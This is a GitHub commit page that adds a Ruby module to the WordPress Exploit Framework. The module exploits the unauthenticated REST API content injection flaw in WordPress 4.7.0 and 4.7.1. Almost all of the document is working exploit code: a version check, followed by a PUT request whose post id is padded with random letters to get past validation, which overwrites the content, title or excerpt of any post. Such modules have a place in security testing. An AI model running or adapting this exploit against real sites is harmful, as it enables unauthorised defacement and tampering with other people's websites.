Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 590b18c

Browse files
committed
Add WordPress 4.7.0 - 4.7.1 content injection module
1 parent d5b4902 commit 590b18c

File tree

1 file changed

+105
-0
lines changed

1 file changed

+105
-0
lines changed
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
class Wpxf::Auxiliary::WpV471ContentInjection < Wpxf::Module
2+
include Wpxf
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WordPress 4.7.0 - 4.7.1 Unauthenticated Content Injection',
9+
desc: %(
10+
The REST API in versions 4.7.0 and 4.7.1 of WordPress contain a number
11+
of validation issues, which allow unauthenticated users to edit any post
12+
on the target installation.
13+
14+
If the target has the API enabled (enabled by default), this module will
15+
update the post with the specified content, title and or excerpt.
16+
),
17+
author: [
18+
'Sucuri <sucuri.net>', # Disclosure
19+
'Rob Carr <rob[at]rastating.com>' # WPXF module
20+
],
21+
references: [
22+
['WPVDB', '8734'],
23+
['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html']
24+
],
25+
date: 'Feb 01 2017'
26+
)
27+
28+
register_options([
29+
IntegerOption.new(
30+
name: 'post_id',
31+
desc: 'The ID of the post to update',
32+
required: true
33+
),
34+
StringOption.new(
35+
name: 'content',
36+
desc: 'The content to inject',
37+
required: false
38+
),
39+
StringOption.new(
40+
name: 'title',
41+
desc: 'The title to inject',
42+
required: false
43+
),
44+
StringOption.new(
45+
name: 'excerpt',
46+
desc: 'The excerpt to inject',
47+
required: false
48+
)
49+
])
50+
end
51+
52+
def check
53+
version = wordpress_version
54+
return :unknown if version.nil?
55+
56+
if version == Gem::Version.new('4.7') || version == Gem::Version.new('4.7.1')
57+
return :vulnerable if rest_api_is_available
58+
end
59+
60+
:safe
61+
end
62+
63+
def rest_api_is_available
64+
res = execute_get_request(url: wordpress_url_rest_api)
65+
(res && res.code == 200)
66+
end
67+
68+
def post_id
69+
normalized_option_value('post_id')
70+
end
71+
72+
def post_route
73+
normalize_uri(wordpress_url_rest_api, 'wp', 'v2', 'posts', post_id)
74+
end
75+
76+
def api_request_body
77+
data = {}
78+
data['content'] = datastore['content'] if datastore['content']
79+
data['title'] = datastore['title'] if datastore['title']
80+
data['excerpt'] = datastore['excerpt'] if datastore['excerpt']
81+
data
82+
end
83+
84+
def run
85+
return false unless super
86+
87+
emit_info 'Building request...'
88+
data = api_request_body
89+
emit_info "Request: #{data.inspect}", true
90+
91+
emit_info 'Injecting content...'
92+
execute_put_request(
93+
url: post_route,
94+
body: data.to_json,
95+
params: {
96+
'id' => "#{post_id}#{Utility::Text.rand_alpha(3)}"
97+
},
98+
headers: {
99+
'Content-Type' => 'application/json'
100+
}
101+
)
102+
103+
true
104+
end
105+
end

0 commit comments

Comments
 (0)